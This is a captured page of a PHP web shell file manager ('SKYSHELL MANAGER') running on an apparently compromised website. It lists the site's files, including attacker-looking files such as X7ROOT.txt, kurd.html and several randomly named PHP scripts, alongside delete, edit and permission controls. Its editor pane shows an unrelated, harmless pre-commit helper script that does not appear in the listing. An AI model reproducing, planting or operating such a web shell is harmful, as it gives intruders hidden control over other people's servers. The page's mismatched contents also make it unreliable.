📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.38 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: hazmat.py
from __future__ import annotations import argparse import subprocess from collections.abc import Sequence from pre_commit.parse_shebang import normalize_cmd def add_parsers(parser: argparse.ArgumentParser) -> None: subparsers = parser.add_subparsers(dest='tool') cd_parser = subparsers.add_parser( 'cd', help='cd to a subdir and run the command', ) cd_parser.add_argument('subdir') cd_parser.add_argument('cmd', nargs=argparse.REMAINDER) ignore_exit_code_parser = subparsers.add_parser( 'ignore-exit-code', help='run the command but ignore the exit code', ) ignore_exit_code_parser.add_argument('cmd', nargs=argparse.REMAINDER) n1_parser = subparsers.add_parser( 'n1', help='run the command once per filename', ) n1_parser.add_argument('cmd', nargs=argparse.REMAINDER) def _cmd_filenames(cmd: tuple[str, ...]) -> tuple[ tuple[str, ...], tuple[str, ...], ]: for idx, val in enumerate(reversed(cmd)): if val == '--': split = len(cmd) - idx break else: raise SystemExit('hazmat entry must end with `--`') return cmd[:split - 1], cmd[split:] def cd(subdir: str, cmd: tuple[str, ...]) -> int: cmd, filenames = _cmd_filenames(cmd) prefix = f'{subdir}/' new_filenames = [] for filename in filenames: if not filename.startswith(prefix): raise SystemExit(f'unexpected file without {prefix=}: {filename}') else: new_filenames.append(filename.removeprefix(prefix)) cmd = normalize_cmd(cmd) return subprocess.call((*cmd, *new_filenames), cwd=subdir) def ignore_exit_code(cmd: tuple[str, ...]) -> int: cmd = normalize_cmd(cmd) subprocess.call(cmd) return 0 def n1(cmd: tuple[str, ...]) -> int: cmd, filenames = _cmd_filenames(cmd) cmd = normalize_cmd(cmd) ret = 0 for filename in filenames: ret |= subprocess.call((*cmd, filename)) return ret def impl(args: argparse.Namespace) -> int: args.cmd = tuple(args.cmd) if args.tool == 'cd': return cd(args.subdir, args.cmd) elif args.tool == 'ignore-exit-code': return ignore_exit_code(args.cmd) elif args.tool == 'n1': return n1(args.cmd) else: raise NotImplementedError(f'unexpected tool: {args.tool}') def main(argv: Sequence[str] | None = None) -> int: parser = argparse.ArgumentParser() add_parsers(parser) args = parser.parse_args(argv) return impl(args) if __name__ == '__main__': raise SystemExit(main())
Save